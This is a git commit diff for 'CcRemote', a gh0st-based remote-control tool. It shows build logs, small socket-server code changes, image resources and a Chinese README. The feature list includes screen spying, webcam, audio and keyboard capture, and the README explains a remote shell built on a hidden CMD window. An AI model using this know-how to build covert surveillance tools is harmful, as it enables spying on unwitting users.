g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
正在生成代码...
|
||||
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(178): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(338): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(899): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(987): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|
|
||||
Debug|Win32|F:\myapp\CcRemote\CcRemote\|
|
||||
|
BIN
CcRemote/CcRemote/Debug/cbuilddlg.obj.enc
Normal file
@@ -51,7 +51,7 @@ enum
|
||||
SCREENSPY_DLG, // <20><>Ļ
|
||||
WEBCAM_DLG,
|
||||
AUDIO_DLG, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KEYBOARD_DLG, // <20><><EFBFBD><EFBFBD> δʵ<EFBFBD><EFBFBD>
|
||||
KEYBOARD_DLG, // <20><><EFBFBD><EFBFBD>
|
||||
SYSTEM_DLG, // <20><><EFBFBD><EFBFBD>
|
||||
SHELL_DLG, // shell<6C><6C><EFBFBD><EFBFBD>
|
||||
SERVER_DLG, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
@@ -18,9 +18,12 @@ f:\myapp\ccremote\ccremote\ccremote\release\csettingdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cscreenspydlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\filetransfermodedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cserverdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ckeyboarddlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\chelpwindow.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cfilemanagerdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremotedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cbuilddlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\caudiodlg.obj
|
||||
f:\myapp\ccremote\bin\ccremote.exe
|
||||
f:\myapp\ccremote\bin\ccremote.pdb
|
||||
|
@@ -1,15 +1,99 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
pch.cpp
|
||||
Audio.cpp
|
||||
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
IOCPServer.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(727): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(776): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
CAudioDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CBuildDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(87): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(105): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(137): warning C4101: “e”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(141): warning C4101: “e”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(145): warning C4101: “e”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(173): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(174): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(178): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(338): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(899): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(987): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CFileManagerDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据
|
||||
CHelpWindow.cpp
|
||||
CKeyBoardDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ckeyboarddlg.cpp(27): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CServerDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
FileTransferModeDlg.cpp
|
||||
CScreenSpyDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
CSettingDlg.cpp
|
||||
CShellDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(204): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(214): warning C4018: “<”: 有符号/无符号不匹配
|
||||
CSystemDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CpuUsage.cpp
|
||||
IniFile.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
InputDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
RegDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(259): warning C4244: “初始化”: 从“DWORD”转换到“char”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(261): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(263): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
SEU_QQwry.cpp
|
||||
TrueColorToolBar.cpp
|
||||
正在生成代码
|
||||
1 of 739 functions ( 0.1%) were compiled, the rest were copied from previous compilation.
|
||||
0 functions were new in current compilation
|
||||
1 functions had inline decision re-evaluated but remain unchanged
|
||||
All 824 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z) 已在 LIBCMTD.lib(new_scalar.obj) 中定义;已忽略第二个定义
|
||||
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete(void *)" (??3@YAXPAX@Z) 已在 LIBCMTD.lib(delete_scalar.obj) 中定义;已忽略第二个定义
|
||||
|
@@ -467,10 +467,12 @@ bool CIOCPServer::InitializeIOCP(void)
|
||||
// we need an overlapped file handle.
|
||||
//
|
||||
|
||||
|
||||
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if ( s == INVALID_SOCKET )
|
||||
return false;
|
||||
|
||||
// ʹ<><CAB9><EFBFBD><EFBFBD><EFBFBD>ɶ˿<C9B6>֮ǰ<D6AE><C7B0>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>CreateIoCompletionPort<72><74><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɶ˿ڶ<CBBF><DAB6><EFBFBD><EFBFBD><EFBFBD>
|
||||
// Create the completion port that will be used by all the worker
|
||||
// threads.
|
||||
m_hCompletionPort = CreateIoCompletionPort( (HANDLE)s, NULL, 0, 0 );
|
||||
@@ -810,10 +812,12 @@ void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
|
||||
WaitForSingleObject(pContext->m_hWriteComplete, INFINITE);
|
||||
|
||||
// Prepare Packet
|
||||
// pContext->m_wsaOutBuffer.buf = (CHAR*) new BYTE[nSize];
|
||||
// pContext->m_wsaOutBuffer.len = pContext->m_WriteBuffer.GetBufferLen();
|
||||
// pContext->m_wsaOutBuffer.buf = (CHAR*) new BYTE[nSize];
|
||||
// pContext->m_wsaOutBuffer.len = pContext->m_WriteBuffer.GetBufferLen();
|
||||
|
||||
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
|
||||
// PostQueuedCompletionStatus<75><73>Ҫ<EFBFBD><D2AA>Ͷ<EFBFBD><CDB6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɶ<EFBFBD><C9B6>е<EFBFBD><D0B5><EFBFBD>
|
||||
// <20>Ӷ<EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD>ڵȴ<DAB5><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2>ijһ<C4B3><D2BB><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>ȡ<EFBFBD><C8A1>.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>GetQueuedCompletionStauts<74><73><EFBFBD><EFBFBD>Ӧ,
|
||||
PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
|
||||
|
||||
pContext->m_nMsgOut++;
|
||||
|
@@ -86,7 +86,7 @@ public:
|
||||
};
|
||||
|
||||
|
||||
struct ClientContext //<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ClientContext<EFBFBD>ṹ<EFBFBD><EFBFBD>Ȼ<EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD> SendSelectCommand
|
||||
struct ClientContext //ClientContext<78>ṹ<EFBFBD><E1B9B9> SendSelectCommand
|
||||
{
|
||||
SOCKET m_Socket; //<2F><EFBFBD><D7BD><EFBFBD>
|
||||
// Store buffers
|
||||
|
@@ -20,6 +20,10 @@
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxcontrolbars.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxcontrolbars.h>
|
||||
#include <afxwin.h>
|
||||
|
||||
#endif //PCH_H
|
||||
|
||||
|
Before Width: | Height: | Size: 81 KiB After Width: | Height: | Size: 81 KiB |
BIN
CcRemote/CcRemote/res/help_window.bmp
Normal file
After Width: | Height: | Size: 870 KiB |
BIN
CcRemote/CcRemote/res/keyboard.ico
Normal file
After Width: | Height: | Size: 766 B |
BIN
CcRemote/CcRemote/res/list_message_pic.bmp
Normal file
After Width: | Height: | Size: 899 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_beauty_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_beauty_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_bulid_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_bulid_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_comfort_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_comfort_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_food_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_food_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_joy_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_joy_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_mood_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_mood_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_research_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_research_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_rest_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_rest_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_space_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_space_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
@@ -1,3 +0,0 @@
|
||||
[Settings]
|
||||
ListenPort=80
|
||||
MaxConnection=100
|
390
README.md
Normal file
@@ -0,0 +1,390 @@
|
||||
# CcRemote
|
||||
这是一个基于gh0st远程控制的项目,使自己更深入了解远控的原理,来编写一款自己的远控(正在编写),项目采用VS2017
|
||||
|
||||
这是基于gh0st更改的项目,其中加入了大量注释以及思维导图提供帮助,代码的框架思想非常值得学习,越看越觉得项目得精妙设计。
|
||||
|
||||
#### 通讯框架
|
||||
|
||||
通讯被控端采用socket,主控端采用的是IOCP完成端口,它可以高效地将I/O事件通知给应用程序,能够处理较多连接,处理逻辑我做成了xmind,一张图来了解通讯框架
|
||||
|
||||

|
||||
|
||||
#### 主界面
|
||||
|
||||

|
||||
|
||||
## 各个功能实现的方法
|
||||
|
||||
|
||||
#### 1 shell控制
|
||||
shell管理用到匿名管道,创建CMD子进程实现进程间通信达到操作控制的目的:
|
||||
管道pipe 用于进程间通讯的一段共享内存。创建管道的进程称为服务器,连接到一个管道的进为管道客户机。一个进程在想管道写入数据有,另一个进程就可以从瓜岛的另一端将其读取出来。匿名管道Anonymous Pipes 是在父进程和子进程单向传输数据的一种未命名的管道,只能在本地计算机中是同,不能用于网络间的通讯。
|
||||
|
||||
如何使用的匿名管道进行通信
|
||||
匿名管道主要用于父进程与子进程之间的的通信,首先父进程创建匿名管道,创建成功后可以获取这个匿名管道进行读写句柄,然后再创建一个子进程,子进程必须继承和使用父进程的一些公开句柄,创建子进程的时候必须将标准输入、标准输出句柄设置为父进程创建管道的管道句柄,然后就可以进行通讯了。
|
||||
|
||||
###### 创建匿名管道
|
||||
|
||||
```c
|
||||
BOOL WINAPI CreatePipe(
|
||||
__out PHANDLE hReadPipe, // __out 读取句柄
|
||||
__out PHANDLE hWritePipe, // __out 写入句柄
|
||||
__in LPSECURITY_ATTRIBUTES lpPipeAttributes, // __in SECURITY_ATTRIBUTES结构体指针 加测返回的句柄是否能够被子进程继承,为NULL不能继承 匿名管道必须有这个结构体
|
||||
__in DWORD nSize ); // 缓冲区大小,参数为0时使用默认大小
|
||||
|
||||
typedef struct _SECURITY_ATTRIBUTES {
|
||||
DWORD nLength;
|
||||
LPVOID lpSecurityDescriptor;
|
||||
BOOL bInheritHandle;
|
||||
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
|
||||
|
||||
```
|
||||
lpPipeAttributes指向一个SECURITY_ATTRIBUTES 的结构体指针,其检测返回的句柄是否能够被子进程继承,如果参数为NULL,表明不能被继承
|
||||
子进程与父进程之间的通信必须构建一个这样的结构体,并且该结构体的的第三个成员变量参数必须设置为True
|
||||
这样子进程才可以进程父进程所创建的匿名管道句柄。
|
||||
|
||||
###### 创建子进程
|
||||
|
||||
```c
|
||||
BOOL CreateProcess(
|
||||
LPCWSTR pszImageName, // 指向程序名称以NULL结尾的字符串
|
||||
LPCWSTR pszCmdLine, // 命令行
|
||||
LPSECURITY_ATTRIBUTES psaProcess, // 创建进程对象设置安全性
|
||||
LPSECURITY_ATTRIBUTES psaThread, // 该进程主线程设置安全性
|
||||
BOOL fInheritHandles, // *指定父进程创建的子进程是否能够继承父进程对象句柄
|
||||
DWORD fdwCreate, // 指定控件优先级类和进程创建的附加标记
|
||||
LPVOID pvEnvironment, // 只想环境块的指针
|
||||
LPWSTR pszCurDir, // 用来指定子进程当前的路径
|
||||
LPSTARTUPINFOW psiStartInfo, // *指向 StartUpInfo 的结构体的指针,用来指定新进程的主窗口如何显示
|
||||
LPPROCESS_INFORMATION pProcInfo ); // ROCESS_INFORMATION 结构体的指针,用来接收关于新进程的标识信息
|
||||
|
||||
typedef struct _STARTUPINFOA {
|
||||
DWORD cb;
|
||||
LPSTR lpReserved;
|
||||
LPSTR lpDesktop;
|
||||
LPSTR lpTitle;
|
||||
DWORD dwX;
|
||||
DWORD dwY;
|
||||
DWORD dwXSize;
|
||||
DWORD dwYSize;
|
||||
DWORD dwXCountChars;
|
||||
DWORD dwYCountChars;
|
||||
DWORD dwFillAttribute;
|
||||
DWORD dwFlags;
|
||||
WORD wShowWindow;
|
||||
WORD cbReserved2;
|
||||
LPBYTE lpReserved2;
|
||||
HANDLE hStdInput; // *
|
||||
HANDLE hStdOutput; // *
|
||||
HANDLE hStdError; // *
|
||||
} STARTUPINFOA, *LPSTARTUPINFOA;
|
||||
|
||||
typedef struct _PROCESS_INFORMATION {
|
||||
HANDLE hProcess;
|
||||
HANDLE hThread;
|
||||
DWORD dwProcessId;
|
||||
DWORD dwThreadId;
|
||||
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
|
||||
```
|
||||
创建进程时fInheritHandles字段我们需要设置为true,继承父进程句柄
|
||||
LPSTARTUPINFOW psiStartInfo 结构体中进行如下设置
|
||||
si.wShowWindow = SW_HIDE; //隐藏CMD进程窗口
|
||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; //使用标准输出和标准错误输出句柄 | 控制CMD窗口隐藏
|
||||
si.hStdInput = m_hReadPipeShell; // 将管道赋值 设置标准输入句柄
|
||||
si.hStdOutput = si.hStdError = m_hWritePipeShell; // 将管道赋值 设置标准输出、标准错误句柄
|
||||
|
||||
然后通过PeekNamedPipe查询是否有新的数据,以及ReadFile进行读取管道中的内容进行读操作,WriteFile进行写入管道内容进行操作。
|
||||
一般是使用while循环配套ReadFile函数。如果控制台程序暂时没有输出并且没有退出,ReadFile函数将一直等待,导致死循环。所以在使用ReadFile之前,加入PeekNamedPipe函数调用。
|
||||
|
||||
|
||||
|
||||
#### 2 进程监控
|
||||
|
||||
###### 进行进程枚举有很多方法
|
||||
|
||||
A:CreateToolhelp32Snapshot()、Process32First()和Process32Next()
|
||||
B:EnumProcesses()、EnumProcessModules()、GetModuleBaseName()
|
||||
C:Native Api的ZwQuerySystemInformation
|
||||
D:wtsapi32.dll的WTSOpenServer()、WTSEnumerateProcess()
|
||||
|
||||
gh0st使用的最常见的方法A,通过建立进程快照进行遍历进程获取信息
|
||||
```c
|
||||
HANDLE
|
||||
WINAPI
|
||||
CreateToolhelp32Snapshot(
|
||||
DWORD dwFlags, // 用来指定快照中需要返回的对象
|
||||
